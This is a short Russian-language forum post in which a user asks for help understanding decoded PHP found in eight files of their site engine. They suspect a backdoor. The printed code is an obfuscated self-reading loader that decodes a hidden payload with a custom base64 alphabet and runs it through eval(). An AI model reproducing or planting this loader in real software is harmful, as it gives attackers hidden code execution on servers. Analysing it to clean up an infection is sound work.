limonka
Новичок
После раскодирования скрипта получился такой код:
Помогите понять, что вся эта конструкция делает?
Предполагаю, что это какой то бекдор, для записи данных в файлы, но смоделировать ситуацию не получается.
Таких файлов в движке 8 штук. Отличия только во второй строке каждого из файлов:
PHP:
<?php $O000O0O00 = $GLOBALS['OOO000O00']($OOO0O0O00, 'rb');
$GLOBALS['O0O00OO00']($O000O0O00, 0x51b);
$OO00O00O0 = $GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00, 0x1a8), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'));
eval($OO00O00O0);
$OO00O00O0 = str_replace('__FILE__', "'" . $OOO0O0O00 . "'", $GLOBALS['OOO0000O0']($GLOBALS['OOO00000O']($GLOBALS['O0O00OO00']($O000O0O00, $OO00O0000), 'WrDkOHaSMT9s3AUKtd1VqFiLzu/7yImbJCo6fB8PZjgwYpvRc+QEh5Gl02ex4XnN=', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/')));
fclose($O000O0O00);
eval($OO00O00O0);
Предполагаю, что это какой то бекдор, для записи данных в файлы, но смоделировать ситуацию не получается.
Таких файлов в движке 8 штук. Отличия только во второй строке каждого из файлов:
Код:
$GLOBALS['O0O00OO00']($O000O0O00, 0x51b);
$GLOBALS['O0O00OO00']($O000O0O00, 0x517);
$GLOBALS['O0O00OO00']($O000O0O00, 0x512);
$GLOBALS['O0O00OO00']($O000O0O00, 0x515);
$GLOBALS['O0O00OO00']($O000O0O00, 0x51c);
$GLOBALS['O0O00OO00']($O000O0O00, 0x514);
$GLOBALS['O0O00OO00']($O000O0O00, 0x51a);
$GLOBALS['O0O00OO00']($O000O0O00, 0x519);